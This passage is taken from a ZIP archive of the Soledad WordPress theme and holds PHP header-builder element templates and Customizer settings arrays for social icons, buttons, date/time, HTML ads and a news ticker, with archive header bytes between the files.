		} else {
			$rel = '';
		}


		$social_data = penci_social_media_array();
		foreach ( $social_data as $name => $sdata ) {
			if ( $sdata[0] ) {
				$icon_html = penci_icon_by_ver( $sdata[1] );
				?>
                <a href="<?php echo esc_url( do_shortcode( $sdata[0] ) ); ?>"
                   aria-label="<?php echo ucwords( $name ); ?>" <?php echo $rel; ?>
                   target="_blank"><?php echo $icon_html; ?></a>
				<?php
			}
		}
		?>
    </div>
</div>
PK     /w\k    ,  builder/elements/pb_social_icon/settings.phpnu [        <?php 

$social_icon_section         = 'penci_header_pb_social_icon_section';
$general_config              = 'penci_builder_mods';
$query                       = [];
$query['autofocus[section]'] = 'pencidesign_new_section_social';

$options[] = array(
	'id'        => $social_icon_section . '_icon_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'label'     => __('Social Icon Size','soledad' ),
	'type'      => 'soledad-fw-size',
	
	'ids'  => array(
		'desktop' => $social_icon_section . '_icon_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 50,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => $social_icon_section . '_icon_w',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __('Social Icons Width/Height','soledad' ),
	
	'ids'  => array(
		'desktop' => $social_icon_section . '_icon_w',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 50,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => $social_icon_section . '_item_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __('Spacing Between Icons','soledad' ),
	
	'ids'  => array(
		'desktop' => $social_icon_section . '_item_spacing',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 1000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => $social_icon_section . '_icon_style',
	'default'   => 'simple',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Social Icon Style','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'simple' => __('Simple','soledad' ),
		'square' => __('Square','soledad' ),
		'circle' => __('Circle','soledad' ),
	)
);
$options[] = array(
	'id'        => $social_icon_section . '_icon_color',
	'default'   => 'textaccent',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Social Icon Color','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'textaccent'  => __('Custom Color','soledad' ),
		'textcolored' => __('Brand Text Color','soledad' ),
		'colored'     => __('Brand Background Color','soledad' ),
	)
);
$options[] = array(
	'id'        => $social_icon_section . '_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => $social_icon_section . '_penci_rel_type_social',
	'default'   => 'noreferrer',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Select "rel" Attribute Type for Social Media & Social Share Icons','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'none'                         => __('None','soledad' ),
		'nofollow'                     => __('nofollow','soledad' ),
		'noreferrer'                   => __('noreferrer','soledad' ),
		'noopener'                     => __('noopener','soledad' ),
		'noreferrer_noopener'          => __('noreferrer noopener','soledad' ),
		'nofollow_noreferrer'          => __('nofollow noreferrer','soledad' ),
		'nofollow_noopener'            => __('nofollow noopener','soledad' ),
		'nofollow_noreferrer_noopener' => __('nofollow noreferrer noopener','soledad' ),
	)
);
$options[] = array(
	'id'        => $social_icon_section . '_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Custom Background Color','soledad' ),
	
);
$options[] = array(
	'id'        => $social_icon_section . '_bg_hv_color',
	'type'      => 'soledad-fw-color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Custom Background Hover Color','soledad' ),
	
);
$options[] = array(
	'id'        => $social_icon_section . '_border_color',
	'type'      => 'soledad-fw-color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Custom Borders Color','soledad' ),
	
);
$options[] = array(
	'id'        => $social_icon_section . '_border_hv_color',
	'type'      => 'soledad-fw-color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Custom Borders Hover Color','soledad' ),
	
);
$options[] = array(
	'id'        => $social_icon_section . '_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Custom Color','soledad' ),
	
);
$options[] = array(
	'id'        => $social_icon_section . '_hv_color',
	'type'      => 'soledad-fw-color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Custom Hover Color','soledad' ),
	
);

return $options;
PK     /w\	IfS  S  *  builder/elements/pb_button_2/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$btn_link        = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_link_setting' );
$btn_link_rel    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_link_rel', 'noreferrer' );
$btn_link_target = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_link_target', '_blank' );
$btn_title       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_text_setting' );
$btn_style       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_style', 'style-4' );
$btn_shape       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_shape', 'ratangle' );

$classes   = [];
$classes[] = 'penci-builder penci-builder-button button-2';
$classes[] = 'button-define-' . $btn_style;
$classes[] = 'button-shape-' . $btn_shape;
$classes[] = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_txt_css_class', 'default' );
$btn_title = ! empty( $btn_title ) ? $btn_title : 'Button Text';

if ( ($btn_link && $btn_title) || is_customize_preview() ):?>
    <a target="<?php echo esc_attr( $btn_link_target ); ?>" rel="<?php echo esc_attr( $btn_link_rel ); ?>"
       href="<?php echo esc_url( $btn_link ); ?>" class="<?php echo implode( ' ', $classes ); ?> ">
		<?php echo $btn_title; ?>
    </a>
<?php 
endif; ?>
PK     /w\z=    )  builder/elements/pb_button_2/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'              => 'penci_header_pb_button_2_text_setting',
	'default'         => 'Button Text',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-text',
	'label'           => __( 'Button Text', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_button_2_text_setting' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_link_setting',
	'default'   => 'https://your-link.com',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-text',
	'label'     => __( 'Button Link', 'soledad' ),
	'priority'  => 10,
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_link_target',
	'default'   => '_blank',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Link Target', 'soledad' ),
	'choices'   => [
		'_blank'  => __('Blank','soledad' ),
		'_self'   => __('Self','soledad' ),
		'_parent' => __('Parent','soledad' ),
		'_top'    => __('Top','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_link_rel',
	'default'   => 'noreferrer',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Select "rel" Attribute Type for Button Link','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'none'                         => __('None','soledad' ),
		'nofollow'                     => __('nofollow','soledad' ),
		'noreferrer'                   => __('noreferrer','soledad' ),
		'noopener'                     => __('noopener','soledad' ),
		'noreferrer_noopener'          => __('noreferrer noopener','soledad' ),
		'nofollow_noreferrer'          => __('nofollow noreferrer','soledad' ),
		'nofollow_noopener'            => __('nofollow noopener','soledad' ),
		'nofollow_noreferrer_noopener' => __('nofollow noreferrer noopener','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_style',
	'default'   => 'style-4',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Button Pre-define Style', 'soledad' ),
	'choices'   => [
		'customize' => __('Default','soledad' ),
		'style-4'   => __('Filled','soledad' ),
		'style-1'   => __('Bordered','soledad' ),
		'style-2'   => __('Link','soledad' ),
		'style-3'   => __('Creative','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_shape',
	'default'   => 'ratangle',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Button Shape', 'soledad' ),
	'choices'   => [
		'ratangle' => __('Retangle','soledad' ),
		'circle'   => __('Circle','soledad' ),
		'round'    => __('Round','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_spacing_setting',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	
	'label'     => __( 'Button Spacing', 'soledad' ),
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
/* start font */
$options[] = array(
	'id'        => 'penci_header_pb_button_2_font',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font For Button Text','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_font_w',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight For Button Text','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_font_s',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Style for Button Text','soledad' ),
	
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal' => 'Normal',
		'italic' => 'Italic'
	)
);
/* end font*/
$options[] = array(
	'id'        => 'penci_header_pb_button_2_border_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'penci_sanitize_choices_field',
	
	'label'     => __( 'Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_border_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	
	'label'     => __( 'Borders Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_bg_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	
	'label'     => __( 'Background Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_txt_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_txt_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	
	'label'     => __( 'Text Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_button_2_txt_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __('Button Font Size','soledad' ),
	'ids'  => array(
		'desktop' => 'penci_header_pb_button_2_txt_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_pb_button_2_txt_css_class',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'type'     => 'soledad-fw-text',
	'label'    => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     /w\\    +  builder/elements/pb_date_time/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$date_time_format = penci_builder_validate_mod( $header_data, 'penci_header_pb_data_time_format' );
$class            = penci_builder_validate_mod( $header_data, 'penci_header_pb_data_time_css_class' );
if ( empty( $date_time_format ) ) {
	return false;
}
?>

<div class="penci-builder-element penci-data-time-format <?php echo esc_attr( $class ); ?>">
	<?php
	if ( function_exists( 'wp_date' ) ) {
		$return = wp_date( $date_time_format );
	} else {
		$return = current_time( $date_time_format );
	}
	$time_class = get_theme_mod( 'penci_time_sync' ) ? 'penci-dtf-real' : 'penci-dtf-normal';
	?>
    <span data-format="<?php echo $date_time_format; ?>"
          class="<?php echo $time_class; ?>"><?php echo $return; ?></span>
</div>
PK     /w\`rg	  g	  *  builder/elements/pb_date_time/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'              => 'penci_header_pb_data_time_format',
	'default'         => 'l, F j, Y',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-text',
	'label'           => esc_html__( 'Date/Time Format', 'soledad' ),
	'description'     => __( 'Enter the date time format here. For more information, please read the document <a target="_blank" href="https://wordpress.org/support/article/formatting-date-and-time/">here</a>', 'soledad' ),
	'priority'        => 10,
	'partial_refresh' => [
		'penci_header_pb_data_time_format' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_data_time_format_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __('Font Size','soledad'),
	'ids'  => array(
		'desktop' => 'penci_header_pb_data_time_format_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_data_time_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'label'     => esc_html__( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_data_time_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Item Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);

$options[] = array(
	'id'        => 'penci_header_pb_data_time_css_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     /w\?;  ;  +  builder/elements/pb_html_ad_3/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$ads_html = penci_builder_validate_mod( $header_data, 'penci_header_builder_pb_html_3_name', false );
if ( empty( $ads_html ) ) {
	return false;
}
?>

<div class="penci-builder-element penci-html-ads penci-html-ads-3">
	<?php echo do_shortcode( $ads_html ); ?>
</div>
PK     /w\R/	  /	  *  builder/elements/pb_html_ad_3/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_3_name',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-textarea',
	'label'     => esc_html__( 'HTML Code', 'soledad' ),
	'partial_refresh' => [
		'penci_header_builder_pb_html_3_name' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_3_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_3_link_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Links Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_3_fsize',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __('Font Size','soledad' ),
	'ids'  => array(
		'desktop' => 'penci_header_builder_pb_html_3_fsize',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_3_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_builder_pb_html_3_css_class',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'type'     => 'soledad-fw-text',
	'label'    => esc_html__( 'Custom CSS Class', 'soledad' ),
);
return $options;
PK     /w\ζ    -  builder/elements/pb_news_ticker/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$headline_uppercase = penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_disable_uppercase' );
$title_uppercase    = penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_post_titles_uppercase' );
$title_classes      = $headline_class = ' penci-enable-uppercase';
if ( 'enable' == $title_uppercase ) {
	$title_classes = ' penci-disable-uppercase';
}
if ( 'enable' == $headline_uppercase ) {
	$headline_class = ' penci-disable-uppercase';
}
?>
<div class="penci-builder-element pctopbar-item penci-topbar-trending <?php echo penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_class' ); ?>">
	<?php if ( penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_text', 'Top Posts' ) ) {
		$toptext_style = penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_style', 'nticker-style-1' );
		?>
        <span class="headline-title <?php echo $toptext_style . $headline_class; ?>"><?php echo penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_text', 'Top Posts' ); ?></span>
	<?php } ?>
	<?php
	/**
	 * Display headline slider
	 */
	$number_posts = penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_total_posts', 10 );
	$topbar_sort  = penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_by' );
	$title_length = penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_post_titles', 8 );
	$post_type 	  = penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_post_type', 'post' );

	$args = array(
		'post_type'      => $post_type,
		'posts_per_page' => $number_posts
	);

	if ( 'post' == $args['post_type'] ) {

		if ( penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_cats' ) || penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_filter_by' ) == 'category' ) {
			$list_cat          = penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_cats' );
			$list_cat_trim     = str_replace( ' ', '', $list_cat );
			$list_cats         = explode( ',', $list_cat_trim );
			$args['tax_query'] = array(
				array(
					'taxonomy' => 'category',
					'field'    => 'slug',
					'terms'    => $list_cat
				),
			);
		} elseif ( penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_tags' ) && penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_filter_by' ) == 'tags' ) {
			$list_tag          = penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_tags' );
			$list_tag_trim     = str_replace( ' ', '', $list_tag );
			$list_tags         = explode( ',', $list_tag_trim );
			$args['tax_query'] = array(
				array(
					'taxonomy' => 'post_tag',
					'field'    => 'slug',
					'terms'    => $list_tags
				),
			);
		}

		if ( $topbar_sort == 'all' ) {
			$args['meta_key'] = penci_get_postviews_key();
			$args['orderby']  = 'meta_value_num';
			$args['order']    = 'DESC';
		} elseif ( $topbar_sort == 'week' ) {
			$args['meta_key'] = 'penci_post_week_views_count';
			$args['orderby']  = 'meta_value_num';
			$args['order']    = 'DESC';
		} elseif ( $topbar_sort == 'month' ) {
			$args['meta_key'] = 'penci_post_month_views_count';
			$args['orderby']  = 'meta_value_num';
			$args['order']    = 'DESC';
		}
	}

	$news = new WP_Query( $args );
	if ( $news->have_posts() ):
		$auto_play = 'true';
		if ( 'enable' == penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_disable_autoplay' ) ): $auto_play = 'false'; endif;
		$auto_time  = penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_autoplay_timeout' );
		$auto_speed = penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_autoplay_speed' );
		$auto_time  = ( is_numeric( $auto_time ) && $auto_time > 0 ) ? $auto_time : '3000';
		$auto_speed = ( is_numeric( $auto_speed ) && $auto_speed > 0 ) ? $auto_speed : '200';
		$animation  = penci_builder_validate_mod( $header_data, 'penci_header_pb_news_ticker_animation', 'slideInUp' );
		$main_class   = $animation == 'marquee' ? 'no-df pcmarquee-slider' : 'pcdfswiper';
		if ( $animation != 'marquee' ) :
		?>
        <span class="penci-trending-nav">
			<a class="penci-slider-prev" aria-label="Previous"
               href="#"><?php penci_fawesome_icon( 'fas fa-angle-left' ); ?></a>
			<a class="penci-slider-next" aria-label="Next"
               href="#"><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?></a>
		</span>
		<?php
		else:
			wp_enqueue_script( 'penci-marquee' );
		endif; ?>
        <div class="<?php echo $main_class; ?> swiper penci-owl-carousel penci-owl-carousel-slider penci-headline-posts"
             data-auto="<?php echo $auto_play; ?>" data-nav="false" data-autotime="<?php echo $auto_time; ?>"
             data-speed="<?php echo $auto_speed; ?>" data-anim="<?php echo $animation; ?>">
            <div class="swiper-wrapper">
				<?php while ( $news->have_posts() ): $news->the_post();
					$title_full = get_the_title();
					?>
                    <div class="swiper-slide">
                        <a class="penci-topbar-post-title <?php echo esc_attr( $title_classes ); ?>"
                           href="<?php the_permalink(); ?>"><?php echo sanitize_text_field( wp_trim_words( get_the_title(), $title_length, '...' ) ); ?></a>
                    </div>
				<?php endwhile;
				wp_reset_postdata(); ?>
            </div>
        </div>
	<?php endif; /* End check if no posts */ ?>
</div>
PK     /w\ҎI4  I4  ,  builder/elements/pb_news_ticker/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'       => 'penci_header_pb_news_ticker_text',
	'default'  => esc_html__( 'Top Posts', 'soledad' ),
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-text',
	'label'    => esc_html__( 'Custom "Top Posts" Text', 'soledad' ),
	'desc'     => esc_html__( 'If you want hide Top Posts text, let empty this', 'soledad' ),
);
$options[] = array(
	'id'       => 'penci_header_pb_news_ticker_style',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => __( 'Style for "Top Posts" Text', 'soledad' ),
	'priority' => 10,
	'choices'  => array(
		''                => __('Default Style','soledad' ),
		'nticker-style-2' => __('Style 2','soledad' ),
		'nticker-style-3' => __('Style 3','soledad' ),
		'nticker-style-4' => __('Style 4','soledad' ),
	)
);
$options[] = array(
	'id'       => 'penci_header_pb_news_ticker_animation',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => __( '"Top Posts" Transition Animation', 'soledad' ),
	'default'  => '',
	'priority' => 10,
	'choices'  => array(
		''             => __('Slide In Up','soledad' ),
		'slideInRight' => __('Fade In Right','soledad' ),
		'fadeIn'       => __('Fade In','soledad' ),
		'marquee'      => __('Marquee','soledad' ),
	)
);
$options[] = array(
	'id'       => 'penci_header_pb_news_ticker_by',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Display Top Posts By', 'soledad' ),
	'choices'  => array_merge(penci_jetpack_option(),array(
		''        => __('Recent Posts','soledad' ),
		'all'     => __('Popular Posts All Time','soledad' ),
		'week'    => __('Popular Posts Once Weekly','soledad' ),
		'month'   => __('Popular Posts Once Month','soledad' ),
	))
);
$options[] = array(
	'id'       => 'penci_header_pb_news_ticker_post_type',
	'default'  => 'post',
	'sanitize' => 'penci_sanitize_multiple_checkbox',
	'label'    => __( 'Post Types', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => call_user_func( function () {
		$exclude    = array(
			'attachment',
			'revision',
			'nav_menu_item',
			'safecss',
			'penci-block',
			'penci_builder',
			'custom-post-template',
			'archive-template',
		);
		$registered = get_post_types( [ 'show_in_nav_menus' => true ], 'objects' );
		$types      = array();


		foreach ( $registered as $post ) {

			if ( in_array( $post->name, $exclude ) ) {

				continue;
			}

			$types[ $post->name ] = $post->label;
		}

		return $types;
	} )
);
$options[] = array(
	'id'       => 'penci_header_pb_news_ticker_filter_by',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-radio',
	'label'    => esc_html__( 'Filter Topbar By', 'soledad' ),
	'priority' => 10,
	'choices'  => array(
		'category' => __('Category','soledad' ),
		'tags'     => __('Tags','soledad' ),
	)
);
$options[] = array(
	'id'          => 'penci_header_pb_news_ticker_tags',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'type'        => 'soledad-fw-textarea',
	'label'       => esc_html__( 'Fill List Tags for Filter by Tags on "Top Post"', 'soledad' ),
	'description' => __('This option just apply when you select "Filter Topbar by" Tags above. And please fill list featured tags slug here, check <a rel="nofollow" href="https://soledad.pencidesign.net/soledad-document/images/tags.png" target="_blank">this image</a> to know what is tags slug. Example for multiple tags slug, fill:  tag-1, tag-2, tag-3','soledad' ),
	'priority'    => 10,
);
$options[] = array(
	'id'          => 'penci_header_pb_news_ticker_cats',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'type'        => 'soledad-fw-textarea',
	'label'       => esc_html__( 'Fill List Categories for Filter by Category on "Top Post"', 'soledad' ),
	'description' => __('This option just apply when you select "Filter Topbar by" Category above. And please fill list featured category slug here, check <a rel="nofollow" href="https://soledad.pencidesign.net/soledad-document/images/tags.png" target="_blank">this image</a> to know what is tags slug. Example for multiple category slug, fill:  cat-1, cat-2, cat-3','soledad' ),
);
$options[] = array(
	'id'       => 'penci_header_pb_news_ticker_post_titles',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-size',
	'label'    => esc_html__( 'Words Length for Post Titles on Top Posts', 'soledad' ),
	'ids'      => array(
		'desktop' => 'penci_header_pb_news_ticker_post_titles',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
